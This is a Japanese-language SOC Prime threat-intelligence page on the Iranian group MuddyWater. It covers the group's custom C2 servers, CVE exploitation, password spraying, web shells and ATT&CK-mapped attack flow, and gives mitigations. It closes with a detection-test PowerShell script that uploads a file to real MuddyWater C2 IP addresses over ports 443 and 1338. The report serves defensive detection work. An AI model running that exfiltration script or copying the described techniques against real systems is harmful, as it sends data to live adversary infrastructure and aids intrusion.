SOC Prime Bias: クリティカル

06 4月 2026 19:42

MuddyWaterの暴露:イランAPTオペレーションの内幕

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
MuddyWaterの暴露:イランAPTオペレーションの内幕
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

研究者は、MuddyWater(Static Kitten)の侵入セットを特定し、複数のオーダーメイドC2フレームワークと、インターネット面に公開された複数の脆弱性の機会的な悪用と大量の資格情報スプレーを組み合わせたことを明らかにしました。オペレーターは中東、ヨーロッパ、アメリカ合衆国全体のターゲットを侵害するために、偵察、初期アクセス、データ窃盗ツールを連鎖させました。

調査

調査官は、オランダにホストされたVPSから露出したインフラストラクチャを押収し、次の3つの目的に特化したC2サーバーのバイナリを抽出しました。 KeyC2、PersianC2、アリーナC2。それに加え、ステージングと実行に使用されるPowerShellベースのローダーとNode.jsペイロードを含む補助ツールも回収されました。この活動は、公開されたCVEsの広範なスキャンと、それに続く悪用を特徴としており、ブロックチェーンのスマートコントラクトを使用してC2エンドポイントを動的に解決または更新するメカニズムを組み込んでいました。

緩和策

参照されたCVEの修正を優先し、公開されたサービスの強化と露出の制限により攻撃対象領域を減少させます。ポート1269での不明な外向きUDPトラフィックをブロックまたは厳格に制限し、カスタムC2バイナリ及びそれらの独特なコマンドパターンに関連付けられた実行アーティファクトを監視します。ネットワークデバイスのVPNおよび管理アカウントに対して最低権限を適用し、異常なPowerShellの動作と未知のIP空間への暗号化された外向きセッションの検出を拡大します。

対応策

インジケーターが観察された場合、影響を受けたシステムを隔離し、メモリおよびディスクアーティファクトを保存し、特定されたC2ドメイン/IPを直ちにブロックします。回収されたローダーおよびNode.jsスクリプトの法医学的トリアージを実施して、実行および永続性の範囲を特定します。すべての悪用された脆弱性をパッチ適用し、スプレーまたは窃盗によって暴露された可能性のある資格情報をローテーションします。

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Step 1 – Active Scanning: Vulnerability Scanning step1["<b>Action</b> – <b>T1595.002 Active Scanning: Vulnerability Scanning</b><br/>Tool: Nuclei<br/>Description: Mass‑scan public services for exploitable CVEs such as FortiOS CVE‑2024‑55591 and Ivanti CVE‑2026‑1281."] class step1 action tool_nuclei["<b>Tool</b> – <b>Name</b>: Nuclei<br/><b>Description</b>: High‑speed vulnerability scanner used for large‑scale internet probing."] class tool_nuclei tool step1 –>|uses| tool_nuclei step1 –>|leads_to| step2 %% Step 2 – Gather Victim Network Information: DNS step2["<b>Action</b> – <b>T1590.002 Gather Victim Network Information: DNS</b><br/>Tools: subfinder, Sudomy, OneForAll<br/>Description: Enumerate subdomains and DNS records for targets such as clearview.ai and jewishagency.org."] class step2 action tool_subfinder["<b>Tool</b> – <b>Name</b>: subfinder<br/><b>Description</b>: Fast passive subdomain discovery tool."] class tool_subfinder tool step2 –>|uses| tool_subfinder step2 –>|leads_to| step3 %% Step 3 – Active Scanning: Wordlist Scanning step3["<b>Action</b> – <b>T1595.003 Active Scanning: Wordlist Scanning</b><br/>Tool: ffuf<br/>Description: Brute‑force web directories with a medium‑size wordlist to discover hidden resources."] class step3 action tool_ffuf["<b>Tool</b> – <b>Name</b>: ffuf<br/><b>Description</b>: Fast web‑fuzzer for directory and file discovery."] class tool_ffuf tool step3 –>|uses| tool_ffuf step3 –>|leads_to| step4 %% Step 4 – Search Open Technical Databases: Scan Databases step4["<b>Action</b> – <b>T1596.005 Search Open Technical Databases: Scan Databases</b><br/>Tool: Shodan CLI<br/>Description: Query Shodan for vulnerable Ivanti devices using service signatures and favicon hashes."] class step4 action tool_shodan["<b>Tool</b> – <b>Name</b>: Shodan CLI<br/><b>Description</b>: Command‑line interface to the Shodan internet‑exposure search engine."] class tool_shodan tool step4 –>|uses| tool_shodan step4 –>|leads_to| step5 %% Step 5 – Brute Force: Password Spraying step5["<b>Action</b> – <b>T1110.003 Brute Force: Password Spraying</b><br/>Tool: Python owa.py script<br/>Description: Spray common passwords against Outlook Web Access and SMTP services of Israeli, Jordanian and UAE organisations."] class step5 action tool_owa["<b>Tool</b> – <b>Name</b>: owa.py<br/><b>Description</b>: Python script that performs password‑spraying attacks against OWA endpoints."] class tool_owa tool step5 –>|uses| tool_owa step5 –>|leads_to| step6 %% Step 6 – Brute Force: Password Guessing step6["<b>Action</b> – <b>T1110.001 Brute Force: Password Guessing</b><br/>Tool: Patator<br/>Description: Attempt SMTP logins with credential lists to obtain valid accounts."] class step6 action tool_patator["<b>Tool</b> – <b>Name</b>: Patator<br/><b>Description</b>: Multi‑protocol brute‑forcing tool supporting SMTP, SSH, HTTP, etc."] class tool_patator tool step6 –>|uses| tool_patator step6 –>|leads_to| step7 %% Step 7 – Exploit Public‑Facing Application step7["<b>Action</b> – <b>T1190 Exploit Public‑Facing Application</b><br/>Technique: Novel SQL injection flaws in BaSalam and a Postgres development platform.<br/>Description: Exploit crafted SQLi payloads to obtain initial foothold on web servers."] class step7 action step7 –>|leads_to| step8 %% Step 8 – Exploitation of Remote Services step8["<b>Action</b> – <b>T1210 Exploitation of Remote Services</b><br/>Tool: Neo‑reGeorg ASPX web‑shell<br/>Description: Upload web‑shell to compromised Exchange server for persistence and remote command execution."] class step8 action malware_neoregeorg["<b>Malware</b> – <b>Name</b>: Neo‑reGeorg ASPX web‑shell<br/><b>Description</b>: ASPX web‑shell providing remote command execution and tunneling capabilities."] class malware_neoregeorg malware step8 –>|uploads| malware_neoregeorg step8 –>|leads_to| step9 %% Step 9 – Boot or Logon Autostart Execution: Registry Run Keys step9["<b>Action</b> – <b>T1547.001 Boot or Logon Autostart Execution: Registry Run Keys</b><br/>Malware: Node.js payload VfZUSQi6oerKau.js<br/>Description: Create HKCU\Software\Microsoft\Windows\CurrentVersion\Run key for persistence."] class step9 action malware_nodejs["<b>Malware</b> – <b>Name</b>: VfZUSQi6oerKau.js<br/><b>Description</b>: Obfuscated Node.js payload that writes a Run‑key for persistence."] class malware_nodejs malware step9 –>|creates| malware_nodejs step9 –>|leads_to| step10 %% Step 10 – Server Software Component: Web Shell step10["<b>Action</b> – <b>T1505.003 Server Software Component: Web Shell</b><br/>Component: Neo‑reGeorg web‑shell (nfud.aspx)<br/>Description: Enables remote command execution on compromised server."] class step10 action malware_nfud["<b>Malware</b> – <b>Name</b>: nfud.aspx<br/><b>Description</b>: ASPX web‑shell variant used for persistent access."] class malware_nfud malware step10 –>|implements| malware_nfud step10 –>|leads_to| step11 %% Step 11 – Create Account: Local Account step11["<b>Action</b> – <b>T1136.001 Create Account: Local Account</b><br/>Result: Privileged admin account "FortiSetup" with super_admin profile.<br/>Description: Modified FortiGate exploit scripts to add a persistent local admin account."] class step11 action step11 –>|leads_to| step12 %% Step 12 – Obfuscated Files or Information step12["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/>Malware: Node.js payloads<br/>Description: Payloads heavily obfuscated and AES‑CBC encrypted before being written to disk."] class step12 action malware_obf["<b>Malware</b> – <b>Name</b>: Encrypted Node.js payloads<br/><b>Description</b>: AES‑CBC encrypted blobs stored on the victim file system."] class malware_obf malware step12 –>|produces| malware_obf step12 –>|leads_to| step13 %% Step 13 – Deobfuscate/Decode Files or Information step13["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Tool: PowerShell loader reset.ps1<br/>Description: Decrypts AES‑CBC encrypted blobs at runtime."] class step13 action tool_psloader["<b>Tool</b> – <b>Name</b>: reset.ps1<br/><b>Description</b>: PowerShell script that decrypts and loads malicious payloads in memory."] class tool_psloader tool step13 –>|uses| tool_psloader step13 –>|leads_to| step14 %% Step 14 – Reflective Code Loading step14["<b>Action</b> – <b>T1620 Reflective Code Loading</b><br/>Technique: PowerShell loader loads decrypted Node.js components reflectively in memory."] class step14 action step14 –>|leads_to| step15 %% Step 15 – Application Layer Protocol: Web Protocols step15["<b>Action</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>C2: PersianC2<br/>Description: HTTP polling using JSON API endpoints to retrieve commands."] class step15 action c2_persian["<b>C2</b> – <b>Name</b>: PersianC2<br/><b>Description</b>: HTTP‑based command and control using JSON polling."] class c2_persian c2 step15 –>|communicates_via| c2_persian step15 –>|leads_to| step16 %% Step 16 – Non‑Application Layer Protocol step16["<b>Action</b> – <b>T1095 Non‑Application Layer Protocol</b><br/>C2: KeyC2<br/>Description: Custom binary protocol over UDP port 1269 for beaconing and command execution."] class step16 action c2_key["<b>C2</b> – <b>Name</b>: KeyC2<br/><b>Description</b>: UDP‑based covert channel using proprietary binary format."] class c2_key c2 step16 –>|communicates_via| c2_key step16 –>|leads_to| step17 %% Step 17 – Web Service: Dead Drop Resolver step17["<b>Action</b> – <b>T1102.001 Web Service: Dead Drop Resolver</b><br/>Technique: Query Ethereum smart contracts to resolve C2 server IP addresses dynamically."] class step17 action step17 –>|leads_to| step18 %% Step 18 – Web Service: Bidirectional Communication step18["<b>Action</b> – <b>T1102.002 Web Service: Bidirectional Communication</b><br/>C2: ArenaC2 (FastAPI/uvicorn)<br/>Description: HTTP POST interface encrypting traffic with AES‑256‑CBC."] class step18 action c2_arena["<b>C2</b> – <b>Name</b>: ArenaC2<br/><b>Description</b>: FastAPI server providing encrypted bidirectional C2 channel."] class c2_arena c2 step18 –>|uses| c2_arena step18 –>|leads_to| step19 %% Step 19 – Web Service: One‑Way Communication step19["<b>Action</b> – <b>T1102.003 Web Service: One‑Way Communication</b><br/>Component: Minimal Flask server (web.py) on port 10443 accepting file uploads for exfiltration."] class step19 action malware_flask["<b>Malware</b> – <b>Name</b>: web.py<br/><b>Description</b>: Simple Flask app acting as a dead‑drop for stolen data."] class malware_flask malware step19 –>|implements| malware_flask step19 –>|leads_to| step20 %% Step 20 – Protocol Tunneling step20["<b>Action</b> – <b>T1572 Protocol Tunneling</b><br/>Tool: Neo‑reGeorg acting as SOCKS proxy (resocks, revsocks) to tunnel into internal networks."] class step20 action step20 –>|leads_to| step21 %% Step 21 – Proxy: External Proxy step21["<b>Action</b> – <b>T1090.002 Proxy: External Proxy</b><br/>Listeners: resocks and revsocks creating external SOCKS proxies for lateral movement."] class step21 action step21 –>|leads_to| step22 %% Step 22 – Encrypted Channel: Symmetric Cryptography step22["<b>Action</b> – <b>T1573.001 Encrypted Channel: Symmetric Cryptography</b><br/>Technique: ArenaC2 encrypts all C2 traffic with AES‑256‑CBC using a hard‑coded key."] class step22 action step22 –>|leads_to| step23 %% Step 23 – Dynamic Resolution step23["<b>Action</b> – <b>T1568 Dynamic Resolution</b><br/>Method: Smart‑contract calls (getString) on Ethereum return active C2 IP list (e.g., 185.236.25.119)."] class step23 action step23 –>|leads_to| step24 %% Step 24 – Exfiltration to Cloud Storage step24["<b>Action</b> – <b>T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage</b><br/>Tool: rclone<br/>Destination: Wasabi S3, put.io<br/>Description: Upload stolen files to cloud storage accounts."] class step24 action tool_rclone["<b>Tool</b> – <b>Name</b>: rclone<br/><b>Description</b>: Command‑line program for syncing files to cloud storage services."] class tool_rclone tool step24 –>|uses| tool_rclone step24 –>|leads_to| step25 %% Step 25 – Exfiltration Over C2 Channel step25["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Capability: KeyC2 and PersianC2 support file download commands to retrieve data from victims."] class step25 action step25 –>|leads_to| step26 %% Step 26 – Exfiltration Over Alternative Protocol step26["<b>Action</b> – <b>T1048 Exfiltration Over Alternative Protocol</b>

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Step 1 – Active Scanning: Vulnerability Scanning step1[“<b>アクション</b> – <b>T1595.002 アクティブスキャニング:脆弱性スキャニング</b><br/>ツール: Nuclei<br/>説明: FortiOS CVE-2024-55591やIvanti CVE-2026-1281のような、悪用可能なCVEのために公共サービスを大量スキャンします。”] class step1 action tool_nuclei[“<b>ツール</b> – <b>名前</b>: Nuclei<br/><b>説明</b>: 大規模なインターネットプロービングに使用される高速脆弱性スキャナー。”] class tool_nuclei tool step1 –>|uses| tool_nuclei step1 –>|leads_to| step2 %% Step 2 – Gather Victim Network Information: DNS step2[“<b>アクション</b> – <b>T1590.002 被害者ネットワーク情報の収集:DNS</b><br/>ツール: subfinder, Sudomy, OneForAll<br/>説明: clearview.aiやjewishagency.orgのようなターゲットのサブドメインおよびDNSレコードを列挙します。”] class step2 action tool_subfinder[“<b>ツール</b> – <b>名前</b>: subfinder<br/><b>説明</b>: 高速なパッシブサブドメイン発見ツール。”] class tool_subfinder tool step2 –>|uses| tool_subfinder step2 –>|leads_to| step3 %% Step 3 – Active Scanning: Wordlist Scanning step3[“<b>アクション</b> – <b>T1595.003 アクティブスキャニング:ワードリストスキャニング</b><br/>ツール: ffuf<br/>説明: 中型のワードリストを使用してウェブディレクトリをブルートフォースして隠れたリソースを発見します。”] class step3 action tool_ffuf[“<b>ツール</b> – <b>名前</b>: ffuf<br/><b>説明</b>: ディレクトリおよびファイル発見のための高速ウェブファザー。”] class tool_ffuf tool step3 –>|uses| tool_ffuf step3 –>|leads_to| step4 %% Step 4 – Search Open Technical Databases: Scan Databases step4[“<b>アクション</b> – <b>T1596.005 公開技術データベースの検索:データベースのスキャン</b><br/>ツール: Shodan CLI<br/>説明: サービス署名およびファビコンハッシュを使用して脆弱なIvantiデバイスをShodanでクエリします。”] class step4 action tool_shodan[“<b>ツール</b> – <b>名前</b>: Shodan CLI<br/><b>説明</b>: Shodanインターネット露出検索エンジンへのコマンドラインインターフェース。”] class tool_shodan tool step4 –>|uses| tool_shodan step4 –>|leads_to| step5 %% Step 5 – Brute Force: Password Spraying step5[“<b>アクション</b> – <b>T1110.003 ブルートフォース:パスワードスプレー</b><br/>ツール: Python owa.pyスクリプト<br/>説明: イスラエル、ヨルダン、およびUAEの組織のOutlook Web AccessおよびSMTPサービスに対して一般的なパスワードをスプレーします。”] class step5 action tool_owa[“<b>ツール</b> – <b>名前</b>: owa.py<br/><b>説明</b>: OWAエンドポイントに対するパスワードスプレー攻撃を実行するPythonスクリプト。”] class tool_owa tool step5 –>|uses| tool_owa step5 –>|leads_to| step6 %% Step 6 – Brute Force: Password Guessing step6[“<b>アクション</b> – <b>T1110.001 ブルートフォース:パスワード推測</b><br/>ツール: Patator<br/>説明: クレデンシャルリストを使用してSMTPログインを試み、有効なアカウントを取得します。”] class step6 action tool_patator[“<b>ツール</b> – <b>名前</b>: Patator<br/><b>説明</b>: SMTP、SSH、HTTPなどをサポートするマルチプロトコルブルートフォースツール。”] class tool_patator tool step6 –>|uses| tool_patator step6 –>|leads_to| step7 %% Step 7 – Exploit Public‑Facing Application step7[“<b>アクション</b> – <b>T1190 公開アプリケーションの悪用</b><br/>手法: BaSalamおよびPostgres開発プラットフォームの新しいSQLインジェクションの欠陥.<br/>説明: 作成されたSQLiペイロードを悪用してウェブサーバー上で初期の足がかりを得ます。”] class step7 action step7 –>|leads_to| step8 %% Step 8 – Exploitation of Remote Services step8[“<b>アクション</b> – <b>T1210 リモートサービスの悪用</b><br/>ツール: Neo-reGeorg ASPXウェブシェル<br/>説明: 持続性とリモートコマンド実行のために交換サーバーにウェブシェルをアップロードします。”] class step8 action malware_neoregeorg[“<b>マルウェア</b> – <b>名前</b>: Neo-reGeorg ASPXウェブシェル<br/><b>説明</b>: リモートコマンドの実行とトンネリング機能を提供するASPXウェブシェル。”] class malware_neoregeorg malware step8 –>|uploads| malware_neoregeorg step8 –>|leads_to| step9 %% Step 9 – Boot or Logon Autostart Execution: Registry Run Keys step9[“<b>アクション</b> – <b>T1547.001 起動またはログオン自動開始実行:レジストリランキー</b><br/>マルウェア: Node.jsペイロードVfZUSQi6oerKau.js<br/>説明: 持続性のためにHKCU\Software\Microsoft\Windows\CurrentVersion\Runキーを作成します。”] class step9 action malware_nodejs[“<b>マルウェア</b> – <b>名前</b>: VfZUSQi6oerKau.js<br/><b>説明</b>: 持続性のためにランキーを書き込む難読化されたNode.jsペイロード。”] class malware_nodejs malware step9 –>|creates| malware_nodejs step9 –>|leads_to| step10 %% Step 10 – Server Software Component: Web Shell step10[“<b>アクション</b> – <b>T1505.003 サーバーソフトウェアコンポーネント:ウェブシェル</b><br/>コンポーネント: Neo-reGeorgウェブシェル(nfud.aspx)<br/>説明: 侵害されたサーバーでのリモートコマンド実行を可能にします。”] class step10 action malware_nfud[“<b>マルウェア</b> – <b>名前</b>: nfud.aspx<br/><b>説明</b>: 持続的なアクセスのために使用されるASPXウェブシェルの変種。”] class malware_nfud malware step10 –>|implements| malware_nfud step10 –>|leads_to| step11 %% Step 11 – Create Account: Local Account step11[“<b>アクション</b> – <b>T1136.001 アカウントの作成:ローカルアカウント</b><br/>結果: 特権管理者アカウント「FortiSetup」がsuper_adminプロファイルで作成される。<br/>説明: FortiGate悪用スクリプトを修正して持続的なローカル管理アカウントを追加します。”] class step11 action step11 –>|leads_to| step12 %% Step 12 – Obfuscated Files or Information step12[“<b>アクション</b> – <b>T1027 難読化されたファイルまたは情報</b><br/>マルウェア: Node.jsペイロード<br/>説明: ディスクに書き込まれる前にペイロードが大量に難読化され、AES-CBCで暗号化されます。”] class step12 action malware_obf[“<b>マルウェア</b> – <b>名前</b>: 暗号化されたNode.jsペイロード<br/><b>説明</b>: 被害者のファイルシステム上に保存されたAES-CBC暗号化されたブロブ。”] class malware_obf malware step12 –>|produces| malware_obf step12 –>|leads_to| step13 %% Step 13 – Deobfuscate/Decode Files or Information step13[“<b>アクション</b> – <b>T1140 ファイルまたは情報のデオブスクする/デコードする</b><br/>ツール: PowerShellローダーreset.ps1<br/>説明: 実行時にAES-CBC暗号化されたブロブを復号します。”] class step13 action tool_psloader[“<b>ツール</b> – <b>名前</b>: reset.ps1<br/><b>説明</b>: 悪意のあるペイロードをメモリに復号して読み込むPowerShellスクリプト。”] class tool_psloader tool step13 –>|uses| tool_psloader step13 –>|leads_to| step14 %% Step 14 – Reflective Code Loading step14[“<b>アクション</b> – <b>T1620 リフレクティブコードローディング</b><br/>手法: PowerShellローダーがメモリ内に復号されたNode.jsコンポーネントをリフレクティブにロードします。”] class step14 action step14 –>|leads_to| step15 %% Step 15 – Application Layer Protocol: Web Protocols step15[“<b>アクション</b> – <b>T1071.001 アプリケーション層プロトコル:ウェブプロトコル</b><br/>C2: PersianC2<br/>説明: JSON APIエンドポイントを使用したHTTPポーリングでコマンドを取得します。”] class step15 action c2_persian[“<b>C2</b> – <b>名前</b>: PersianC2<br/><b>説明</b>: JSONポーリングを使用したHTTPベースのコマンドとコントロール。”] class c2_persian c2 step15 –>|communicates_via| c2_persian step15 –>|leads_to| step16 %% Step 16 – Non‑Application Layer Protocol step16[“<b>アクション</b> – <b>T1095 ノンアプリケーション層プロトコル</b><br/>C2: KeyC2<br/>説明: ビーコニングとコマンド実行のためのポート1269を介したカスタムバイナリプロトコル。”] class step16 action c2_key[“<b>C2</b> – <b>名前</b>: KeyC2<br/><b>説明</b>: プロプライエタリなバイナリ形式を使用したUDPベースの隠れチャンネル。”] class c2_key c2 step16 –>|communicates_via| c2_key step16 –>|leads_to| step17 %% Step 17 – Web Service: Dead Drop Resolver step17[“<b>アクション</b> – <b>T1102.001 ウェブサービス:デッドドロップレゾルバー</b><br/>手法: EthereumスマートコントラクトをクエリしてC2サーバーIPアドレスを動的に解決します。”] class step17 action step17 –>|leads_to| step18 %% Step 18 – Web Service: Bidirectional Communication step18[“<b>アクション</b> – <b>T1102.002 ウェブサービス:双方向通信</b><br/>C2: ArenaC2 (FastAPI/uvicorn)<br/>説明: AES-256-CBCでトラフィックを暗号化するHTTP POSTインターフェース。”] class step18 action c2_arena[“<b>C2</b> – <b>名前</b>: ArenaC2<br/><b>説明</b>: 暗号化された双方向のC2チャンネルを提供するFastAPIサーバー。”] class c2_arena c2 step18 –>|uses| c2_arena step18 –>|leads_to| step19 %% Step 19 – Web Service: One‑Way Communication step19[“<b>アクション</b> – <b>T1102.003 ウェブサービス:一方向通信</b><br/>コンポーネント: ポート10443上でファイルのアップロードを受け入れるMinimal Flaskサーバー(web.py)。”] class step19 action malware_flask[“<b>マルウェア</b> – <b>名前</b>: web.py<br/><b>説明</b>: 盗まれたデータのデッドドロップとして機能するシンプルなFlaskアプリ。”] class malware_flask malware step19 –>|implements| malware_flask step19 –>|leads_to| step20 %% Step 20 – Protocol Tunneling step20[“<b>アクション</b> – <b>T1572 プロトコルトンネリング</b><br/>ツール: 内部ネットワークにトンネリングするためにSOCKSプロキシとして機能するNeo-reGeorg。”] class step20 action step20 –>|leads_to| step21 %% Step 21 – Proxy: External Proxy step21[“<b>アクション</b> – <b>T1090.002 プロキシ:外部プロキシ</b><br/>リスナー: resocksとrevsocksが横方向移動のために外部SOCKSプロキシを作成します。”] class step21 action step21 –>|leads_to| step22 %% Step 22 – Encrypted Channel: Symmetric Cryptography step22[“<b>アクション</b> – <b>T1573.001 暗号化されたチャンネル:対称暗号</b><br/>手法: ArenaC2はハードコードされたキーを使用してすべてのC2トラフィックをAES-256-CBCで暗号化します。”] class step22 action step22 –>|leads_to| step23 %% Step 23 – Dynamic Resolution step23[“<b>アクション</b> – <b>T1568 ダイナミックレゾリューション</b><br/>手法: Ethereum上のスマートコントラクトコール(getString)がアクティブなC2 IPリスト(例: 185.236.25.119)を返します。”] class step23 action step23 –>|leads_to| step24 %% Step 24 – Exfiltration to Cloud Storage step24[“<b>アクション</b> – <b>T1567.002 ウェブサービスを介した流出:クラウドストレージへの流出</b><br/>ツール: rclone<br/>宛先: Wasabi S3, put.io<br/>説明: 盗まれたファイルをクラウドストレージアカウントにアップロードします。”] class step24 action tool_rclone[“<b>ツール</b> – <b>名前</b>: rclone<br/><b>説明</b>: ファイルをクラウドストレージサービスに同期するためのコマンドラインプログラム。”] class tool_rclone tool step24 –>|uses| tool_rclone step24 –>|leads_to| step25 %% Step 25 – Exfiltration Over C2 Channel step25[“<b>アクション</b> – <b>T1041 C2チャンネルを介した流出</b><br/>機能: KeyC2とPersianC2は、被害者からデータを取得するファイルダウンロードコマンドをサポートします。”] class step25 action step25 –>|leads_to| step26 %% Step 26 – Exfiltration Over Alternative Protocol step26[“<b>アクション</b> – <b>T1048 代替プロトコルを介した流出</b><br/>手法: Flask HTTPサーバーとEC2インスタンス(18.223.24.218)を使用して被害者の環境から大量データを押し出します。”] class step26 action

攻撃フロー

シミュレーション実行

前提条件: テレメトリー & ベースラインの事前チェックが通過していること。

理由: このセクションは、検出ルールをトリガーするために設計された敵対技術(TTP)の正確な実行を詳細に説明します。コマンドと物語はTTPで特定され、検出ロジックによって期待される正確なテレメトリーを生成することを目的としなければなりません。

  • 攻撃の物語とコマンド:

    1. 偵察 & データステージング: 攻撃者がローカルファイルを列挙し(T1005)小さなペイロード(secret.txt)をワークステーションに書き込みます。
    2. C2コミュニケーションセットアップ: PowerShellを使用して(T1059.001)、攻撃者はMuddyWater C2サーバー 194.11.246.101 のポート443を介してHTTPS POSTを作成し、ステージングされたデータを埋め込みます。
    3. 代替チャネル(非標準ポート): 単純なポートベースのルールを回避するために、攻撃者はポート1338を使用してデータ流出を繰り返し、 Invoke-WebRequest を使用して -Port スイッチ(PowerShell 7+)を使用しました。
    4. オプショナルプロキシチェーン: リクエストは外部プロキシを経由しますが(T1090.002)、最終的な宛先IPはMuddyWaterホストのままであり、ファイアウォールログには悪意のある dst_ip.
  • 回帰テストスクリプト:

    # MuddyWaterデータ流出シミュレーション – PowerShell
    # ------------------------------------------------
    # ステップ1: ダミーデータを作成
    $dataPath = "$env:TEMPsecret.txt"
    "センシティブデータ $(Get-Date)" | Out-File -FilePath $dataPath -Encoding UTF8
    
    # ステップ2: C2エンドポイントを定義
    $c2Ips = @('194.11.246.101','18.223.24.218')
    $c2Ports = @(443,1338)
    
    # ステップ3: HTTPS(ポート443)を介してアップロード
    foreach ($ip in $c2Ips) {
        $uri = "https://$ip/upload"
        Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue
    }
    
    # ステップ4: カスタムポート1338を介してアップロード(PowerShell 7+が必要)
    foreach ($ip in $c2Ips) {
        $uri = "http://$ip:1338/upload"
        Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue
    }
    
    # ステップ5: クリーンアップ
    Remove-Item -Path $dataPath -Force
  • クリーンアップコマンド:

    # すべての残っているネットワーク接続を削除(Windows)
    Get-NetTCPConnection -RemoteAddress 194.11.246.101,18.223.24.218 |
        Where-Object { $_.State -eq 'Established' } |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # 一時ファイルを削除(必要に応じて再実行)
    $tempFile = "$env:TEMPsecret.txt"
    if (Test-Path $tempFile) { Remove-Item $tempFile -Force }